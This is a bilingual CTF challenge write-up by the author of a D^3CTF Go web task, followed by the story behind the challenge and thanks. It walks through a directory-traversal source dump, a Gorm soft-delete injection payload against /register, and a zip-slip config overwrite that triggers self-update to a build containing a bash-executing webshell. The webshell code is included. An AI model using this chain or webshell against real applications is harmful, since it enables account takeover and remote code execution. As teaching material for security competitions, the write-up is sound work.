目录穿越读取源代码

directory traversal to dump source code

go embed * 的错误使用,导致源代码被打包进程序。

The incorrect use of go embed * results in the source code being packed into the program.

再结合错误的静态文件托管,导致/../路径可以列目录获取源代码

This, combined with incorrect static file serving, results in /../ listing directory to get the source code.

Gorm 软删除注入

代码审计,发现

  1. 管理员账户是数据库中的第一个用户,而这个用户目前无法登陆

  2. 对于/register接口,controller使用了c.ShouldBindJSON(), db层对其返的值直接进行一个db.Save()到数据库的操作,可以注入gorm.Model相关字段

因此可以构造注入deletedat字段,使得原来的admin被软删除

A code audit was performed and found that

  1. the administrator account is the first user in the database, and this user is currently unable to log in
  2. For the /register api, the controller uses c.ShouldBindJSON(), and the db layer writes the variables bound to it directly to the database with db.Save().

So you can construct the following payload to inject the deletedat field, so that the original admin is soft-deleted.

{"id":1,"deletedat":"2011-01-01T11:11:11Z","createdat":"2011-01-01T11:11:11Z"}

注意createdat字段是datetime类型,如果这个字段留空,会update0000-00-00 00:00:00到 MySQL,而这个值不在datetime范围内,所以需要手动指定

Note that the createdat field is of type datetime, if this field is left blank, it will update 0000-00-00 00:00:00 to mysql, which is not within the allowed range of datetime.So you need to manually specify it.

解压缩覆盖配置文件,自更新RCE

Unzip and overwrite configuration file, self update to complete RCE

代码审计,发现

  1. 解压缩功能未检查目录穿越,可以通过目录穿越任意文件写
  2. 自更新的URL支持通过配置文件热更新
  3. unzipped目录下的文件会被托管

因此可以构造一个压缩包

Performed code audit and found that

  1. unzip function does not check directory traversal, can write arbitrary files through directory traversal
  2. the URL of self-update supports hot update by configuration file
  3. the files in unzipped directory will be served

So you can construct a zip package like this.

..
|- ..
  |- config.yaml
|- exp

config.yaml

server:
  noAdminLogin: true
database:
  user: root
  password: root
  host: 127.0.0.1
  port: 3306
update:
  enabled: true
  url: http://127.0.0.1:8080/unzipped/exp
  interval: 1

exp 部分源码

partial source code of exp
r.POST("/shell", func(c *gin.Context) {
		output, err := exec.Command("/bin/bash", "-c", c.PostForm("cmd")).CombinedOutput()
		if err != nil {
			c.String(500, err.Error())
		}
		c.String(200, string(output))
	})

在 dump 下来的源码里添加一个 webshell,再构建为 update

config.yaml将覆盖原有的 config 并在一分钟左右触发自更新,更新为我们上传的update文件

成功RCE,flag在根目录。

Add a webshell to the dumped source code and build it as exp.

config.yaml will overwrite the original config and trigger a self-update to the exp file we uploaded in a minute or so.

Successfully get the shell, the flag is in the root directory.

题目背后的故事

after story

因为一些原因,那会在大量地审计社团里的大一写的代码,偶尔间发现了一个人将 gin.ShouldBindJson 和 db.Save 直接合起来用。

Due to certain circumstances, I was auditing a significant number of code written by freshmen in a student organization, and stumbled upon someone who directly combined gin.ShouldBindJson with db.Save.

各位参赛选手看到的题目他至少MVC架构是体现出来了的,但是其原型是没有,上面提到的这两个函数被同时写在了 controller 层,我最初觉得他耦合太重了,而且也没有分层。

The MVC architecture is at least evident in the problem given to the participants, but it was not reflected in the original version. As mentioned earlier, these two functions were both written in the controller layer, and I initially thought that there was excessive coupling and lack of separation of layers.

后来我检查了一下他的 model ,看到 gorm.Model 我突然意识到 gorm.Model 内的字段可能会被意外写入到数据库中,这就是这道题核心的来源。

Later, upon inspecting his model, I saw gorm.Model and suddenly realized that the fields within gorm.Model could potentially be unexpectedly written into the database. This become the core problem of the challenge later.

要出一道合格的$D^3$CTF题目,只是放这个小 trick 那这道题的深度是不够的。后来在学长们的帮助和介绍下才加入了前置的 go embed 源码打包和后面的自更新RCE,自更新本来是出网的,后来想想不出网也能打,毕竟本身就是一个 web server。

To come up with a high-quality $D^3$CTF challenge, merely incorporating a simple trick like this is not enough to demonstrate its depth. Afterwards, with the help and guidance of my seniors, I added the prerequisite of go embed source code packaging, followed by a self-updating RCE exploit. Originally, the self-updating feature was designed for reverse shell, but later I realized that it could still be soloved without accessing the Internet, since it is essentially a web server.

源码泄露那块倒是我故意写得很抽象,以至于静态文件路由手写了很大一块。为了让各位能穿越成功,还手动处理 GET 请求来处理静态文件。不得不说 Go 是个相对很安全的语言,如果你按照原来的 gin 推荐的的静态文件处理方法,'../' 这种早就被过滤掉了。

I had to write the section on source code leakage in an abstract manner, and manually coded a significant portion of the static file routing. In order to ensure successful passage for all participants, I also had to manually process GET requests for handling static files. I must say that Go is a relatively secure language, and if you follow the recommended static file processing method in gin, the use of ‘../’ to navigate directories has long been filtered out.

这是我第一次出题,也才刚学习安全半年时间,出的时候感觉还有点虚,很担心被杀穿或者爆零这种,从结果看其实还不错,希望大家玩得开心。

As a novice in the field of security, this is my first time creating a challenge and I must admit to feeling a bit uncertain about its difficulty level. I am very worried that this challenge may either have too many solves or none at all, yet upon observing the positive outcomes, I hope that everyone had an enjoyable experience.

感谢:

eking 帮助完成了自更新RCE部分

ma5hr00m 写了前端页面

Liki4 赏识这道题,让我下定决心把这道题上到$D^3$CTF

Thanks to:

eking help with self update RCE

ma5hr00m write the front page

Liki4 confirm me to push the challenge to $D^3$CTF